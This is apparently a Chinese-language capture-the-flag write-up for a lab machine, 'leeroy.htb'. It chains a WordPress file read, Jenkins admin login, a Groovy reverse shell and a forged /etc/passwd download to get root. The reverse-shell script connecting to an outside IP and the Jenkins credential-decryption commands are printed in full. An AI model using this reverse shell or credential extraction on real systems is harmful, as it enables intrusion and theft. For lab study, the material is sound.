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就 点：

hosts

wordpress

jenkins

https

sudo -l

 

主机发现 && 端口扫描

终于是一台端口多一些的机器了
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好了来吧 

漏洞挖掘

22

首先呢ssh的版本是比较新的。

好的，那么还是从web下手吧，有俩。

80

就一图片 啥也不是



ctrl + U ，啥也不是

扫目录，啥也不是

啥也不是



8080

是个登录框



扫目录只发现robots.txt

13380

访问跳转leeroy.htb，去hosts文件加一下

加好了

有站点了



救命，又是wordpress，没有新意，好吧，做就是了。

爆破着密码先，我们找找插件



没什么 一个个searchspolit



直接上手吧

getshell
格局小了，竟然是直接读文件，就行。

行了 去8080吧

echo "z1n$AiWY40HWeQ@KJ53P" > /var/lib/jenkins/secrets/initialAdminPassword

用户名是admin



顺利登录了

想办法从这里getshell

参考一篇文章：https://blog.pentesteracademy.com/abusing-jenkins-groovy-script-console-to-get-shell-
98b951fa64a6
没错这就叫，天下文章一大抄，看你会找不会找

Manage Jenkins -> Script Console

写个反弹shell

https://gist.github.com/frohoff/fed1ffaab9b9beeb1c76

String host="192.168.154.129";
int port=443;
String cmd="bash";
Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();

https://blog.pentesteracademy.com/abusing-jenkins-groovy-script-console-to-get-shell-98b951fa64a6
https://gist.github.com/frohoff/fed1ffaab9b9beeb1c76


开监听

run

反弹回来了

翻文件



<?xml version='1.1' encoding='UTF-8'?>
<com.cloudbees.plugins.credentials.SystemCredentialsProvider plugin="credentials@2.3.7">
  <domainCredentialsMap class="hudson.util.CopyOnWriteMap$Hash">
    <entry>
      <com.cloudbees.plugins.credentials.domains.Domain>
        <specifications/>
      </com.cloudbees.plugins.credentials.domains.Domain>
      <java.util.concurrent.CopyOnWriteArrayList>
        <com.cloudbees.plugins.credentials.impl.UsernamePasswordCredentialsImpl>
          <scope>GLOBAL</scope>
          <id>d74a6bca-af9a-4dfb-94dd-4f358ef164dd</id>
          <description>WP Login</description>
          <username>leeroy</username>
          <password>{AQAAABAAAAAgXBYO0AVEoYA0D9oynQjqAa+7QnySTgsMd4BbZa9QmVexM+9KFi508EfjODn1lXhx}</password>
        </com.cloudbees.plugins.credentials.impl.UsernamePasswordCredentialsImpl>
      </java.util.concurrent.CopyOnWriteArrayList>
    </entry>
  </domainCredentialsMap>

把passwd放过来解密

俩挑一个用，能用哪个用哪个。



println(hudson.util.Secret.decrypt("{AQAAABAAAAAgXBYO0AVEoYA0D9oynQjqAa+7QnySTgsMd4BbZa9QmVexM+9KFi508EfjODn1lXhx}"))
println(hudson.util.Secret.decrypt("{AQAAABAAAAAgXBYO0AVEoYA0D9oynQjqAa+7QnySTgsMd4BbZa9QmVexM+9KFi508EfjODn1lXhx}"))

获得了密码

ew3@PHQiX2RtP1ra!GZs

su 过来

提权

 

那就是这了把，具体怎么提，再看看

看看installer都干嘛了

重点关注wegt的第二行 下了个文件，还可以自定义文件名！

惊不惊喜，意不意外。

我们可以修改hosts，让他下载我们自己的资源，搞一个真假/etc/passwd

hosts文件一般需要root才能改，但是我们看看这个文件

巧了，能改，回到jenkins用户去改这个文件。



然后我们去改个文件

将靶机的passwd复制过来加一行，在这之前，生成一个属于自己的密码

mkpasswd -m sha-512

丢进passwd

然后把文件名字改为jenkins_2.222.3_all.deb

然后让对面下载

把$1参数用起来

好的，其实是失败了 因为发现是https的

后果就是。。。/etc/passwd文件没有了 everything nothing... fine

重头再来

开https服务，我写在了其他文章里

移步：https://blog.csdn.net/Jiajiajiang_/article/details/117124221

https://blog.csdn.net/Jiajiajiang_/article/details/117124221


建议用apache2

好了等我们开了https服务后，再执行

好的，由于时间太久我忘记我给jessica的密码是什么了，我重新加了一个

这里基本就代表执行好了

然后就进来了

完成了
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